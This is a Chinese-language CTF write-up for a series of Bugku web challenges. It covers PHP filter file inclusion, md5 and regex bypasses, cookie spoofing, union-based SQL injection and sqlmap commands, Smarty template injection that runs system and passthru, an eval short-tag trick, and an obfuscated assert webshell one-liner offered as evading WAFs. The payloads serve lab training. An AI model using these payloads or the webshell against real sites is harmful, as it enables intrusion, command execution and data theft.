目录
source
文件包含
备份是个好习惯
No one knows regex better than me
Cookies
never_give_up
shell
成绩查询
秋名山车神
速度要快
聪明的php
闪电十六鞭
先dirsearch扫,发现.git 泄露
上工具 ,git_extract ,直接就把flag文件下好了
提示index.php ,也给了get,可能flag就在这里面
用伪协议读取就可
/index.php?file=php://filter/convert.base64-encode/resource=index.php
扫了一波,备份是 index.php.bak
下载下来后把后缀修改成php 才能看见源码
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
?>
双写key绕过正则匹配 ,用数组绕过md5 弱比较
/?kekeyy1[]=1&kekeyy2[]=2
‘没人比我更懂正则’
好文:【CTF bugku 正则好像没有想象中那么简单】_zw05011的博客-CSDN博客
有学到
上面逻辑搞搞清楚
if(preg_match("/\\|\056\160\150\x70/i",$third))
这里正则匹配到 |.php
highlight_file(base64_decode($zero).$end)
要在这里构造个flag.php
$end可以是.php , 这里有个substr(),绕一下
那么$third也就是$first=xxxx|.php,直接是girl|.php,字符数量正合适 ,能顺利进入第一个if判断
$zero 是base64加密后的flag也就是ZmxhZw==
/?zero=ZmxhZw==&first=girl|.php
cookies欺骗
可以看到url后面能通过base64读文文件
读一下index.php ,配合line=逐行读 源码 ,直接一个个查
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
源码里有个提示,访问进去
一大串base64 ,解码,然后url解码 ,得到源码
";if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
$flag = "flag{***********}"
}
else
{
print "never never never give up !!!";
}
PHP stripos() 函数 | 菜鸟教程
eregi()就是看后面的字符串中, 有没有包含前面的字符串
关键是这里
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
$id不能用=0,
前面有个条件 if(!$_GET['id']) { header('Location: hello.php?id=1'); exit(); } id=0就会被置为1
$a用input伪协议传进去,
$b用%00截断来满足上述条件
送给大家一个过狗一句话 $poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s'])
不晓得啥意思,直接?s=system('ls'); 就出来了
这波亏了一个金币,r n m退钱!
很基础的联合查询
判断出是字符注入
直接注即可
id=-1' union select 1,2,3,database() #
id=-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='skctf' #
id=-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='fl4g' #
id=-1' union select 1,2,3,skctf_flag from fl4g #
试一下sqlmap ,也是一把梭
sqlmap -u "http://114.67.175.224:14236/index.php" --data="id=" --current-db
sqlmap -u "http://114.67.175.224:14236/index.php" --data="id=" -D'skctf' -T'fl4g' --dump
Give me value post about 1713969999-285934215+1127803400+1639673484-1242416935*881929486*1499403991*1866585592-1186507678+1077667655*214917700=?
两秒内计算,这个要写脚本 post一个value
我的辣鸡脚本正则匹配的有瑕疵,所以修改了一下
import requests
import re
url = 'http://114.67.175.224:18470/'
r = requests.session() #用session()保持一致
res =r.get(url)
res.encoding = 'utf-8'
a=res.text
print(a) #打印源码
b=(re.findall(r'(.+?)=?;',a)[0]) #用正则在源码中匹配计算公式
c=str(b)
d=c.replace('=?','') #匹配的不是很成功做一下修改
print(d)
result=eval(d) #eval强制执行计算
print(result)
key={'value':result} #计算结果字典传入value值
flag = r.post(url,data=key) #post 传入数据
print(flag.text)
要多试几次
源码提示要post一个margin
响应包里有个flag头,base64解码
了解清楚,这里面的base64解码两次后出现我们要的值,再去post一个margin,就可
import base64
import requests
import re
url='http://114.67.175.224:11100/'
r=requests.session()
res=r.get(url)
res.encoding='utf-8'
flag=res.headers['flag'] #获取flag标头的值
print(flag)
flag2=flag.replace('6LeR55qE6L+Y5LiN6ZSZ77yM57uZ5L2gZmxhZ+WQpzog','') #删去无用字符
print(flag2)
flag3=base64.b64decode(base64.b64decode(flag2)) #进行两次base64解码
print(flag3)
key={'margin':flag3} #构造post字典
flag4=r.post(url,data=key) #post值
print(flag4.text)
聪明的php_山川绿水的博客-CSDN博客_聪明的php
随便get一个值就给了源码
include('./libs/Smarty.class.php');
echo "pass a parameter and maybe the flag file's filename is random :>";
$smarty = new Smarty();
if($_GET){
highlight_file('index.php');
foreach ($_GET AS $key => $value)
{
print $key."\n";
if(preg_match("/flag|\/flag/i", $value)){
$smarty->display('./template.html');
}elseif(preg_match("/system|readfile|gz|exec|eval|cat|assert|file|fgets/i", $value)){
$smarty->display('./template.html');
}else{
$smarty->display("eval:".$value);
}
}
}
?>
过滤了/system|readfile|gz|exec|eval|cat|assert|file|fgets/i 命令执行函数
了解到smarty是php一个模板, 然后这题考察的是php模板注入,比较新颖
跟着大佬博客学习
验证是否为模板注入,过滤了很多函数,还可以使用passthru
常用payload
smary中的{if}标签中可以执行的php语句
{if phpinfo()}{/if}
{if system('ls')}{/if}
{if readfile('/flag')}{/if}
{if show_source('/flag')}{/if}
{if system('cat ../../../../flag')}{/if}
使用passthru函数执行命令
/?a={if passthru("ls /")}{/if}
过滤了cat,用别的命令读取文件
/?a={if passthru("tac /_14517")}{/if}
Click here';
}
else if (strlen($_GET['flag']) != strlen($exam)) {
echo '长度不允许';
}
else if (preg_match('/`|"|\.|\\\\|\(|\)|\[|\]|_|flag|echo|print|require|include|die|exit/is', $_GET['flag'])) {
echo '关键字不允许';
}
else if (eval($_GET['flag']) === sha1($flag)) {
echo $flag;
}
else {
echo '马老师发生甚么事了';
}
echo '
';
highlight_file(__FILE__);
前两个判断就是要保证传入长度确定,并且过滤了很多关键字
切入点是第三个判断 (eval($_GET['flag']) === sha1($flag))
这里有个eval(),默认有闭合来构造一个语句,
?>和= ?>是短标签而是长标签,
其中= 是代替 echo的, ?> 代替的是
1,先用?flag=$a='flax';$a{3}=g;?> 构造$a=$flag ,?>闭合
2,然后=$$a?>表示
3, payload长度要满足条件,直接填充就行
/?flag=$a='flax';$a{3}=g;?>;=$$a?>;1111111111111111111